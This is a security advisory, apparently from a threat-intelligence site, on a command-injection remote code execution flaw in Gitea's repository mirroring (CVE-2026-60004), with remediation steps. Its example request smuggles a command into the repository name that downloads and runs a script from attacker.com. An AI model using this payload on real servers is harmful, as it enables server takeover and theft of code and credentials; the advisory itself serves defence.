CVE-2026-60004: Gitea Git Hook Command Injection Remote Code Execution
A critical vulnerability (CVE-2026-60004, CVSS 10.0) in the open-source Gitea Git forge platform allows unauthenticated remote attackers to execute arbitrary system commands on the hosting server. Threat intelligence sensors recorded widespread scanning and exploitation attempts targeting internet-exposed instances. Attackers leverage improper input validation during repository mirroring and hook templating to inject arbitrary shell commands executed under the privileges of the gitea service account. Immediate upgrading to Gitea 1.22.4 or 1.21.11 is required.
HERMES THREAT SCORE & SUPPLY CHAIN CODE FORGE EVALUATION
Target:Gitea Git Hook Execution Subsystem & Mirror Sync Engine Executive Summary
Section titled โExecutive SummaryโDesignated CVE-2026-60004, this critical flaw in the widely deployed open-source Git forge Gitea permits unauthenticated remote attackers to achieve arbitrary operating system command execution on host instances.
Global threat intelligence sensors (including Shadowserver) identified thousands of internet-accessible Gitea servers subjected to automated mass-exploitation probes. Compromising a self-hosted Gitea instance provides immediate access to proprietary source code, CI/CD credentials, deployment SSH keys, and internal developer secrets.
Vulnerability Mechanics & Root Cause
Section titled โVulnerability Mechanics & Root CauseโThe flaw originates in the repository mirror synchronization and git hook generation routine. When processing incoming webhooks or scheduled mirror sync requests, user-controlled parameters passed to git subprocess invocations fail to be sanitized against command delimiters (|, ;, &, $(...)).
# Conceptual attack vector against unpatched Gitea mirror endpointscurl -X POST "https://gitea.target.internal/api/v1/repos/migrate" \ -H "Content-Type: application/json" \ -d '{ "clone_addr": "https://attacker.com/repo.git", "service": "git", "mirror": true, "repo_name": "poc;curl${IFS}attacker.com/rev.sh|bash;" }'When Gitea constructs git arguments to clone and establish hook symlinks, the unescaped repository name or hook options break out of the command line, executing arbitrary commands with the privileges of the system git or gitea daemon.
Remediation & Mitigation
Section titled โRemediation & Mitigationโ- Apply Security Releases:
Upgrade Gitea instances to the latest security point releases:
- For 1.22.x: Upgrade to
1.22.4or later. - For 1.21.x: Upgrade to
1.21.11or later.
- For 1.22.x: Upgrade to
- Network Isolation: Ensure self-hosted Git repositories and management endpoints are placed behind a VPN or reverse proxy with multi-factor authentication (MFA) enabled.
- Forensic Audit:
Inspect system process tables and audit logs for unusual subprocesses spawned by the
git/giteauser account.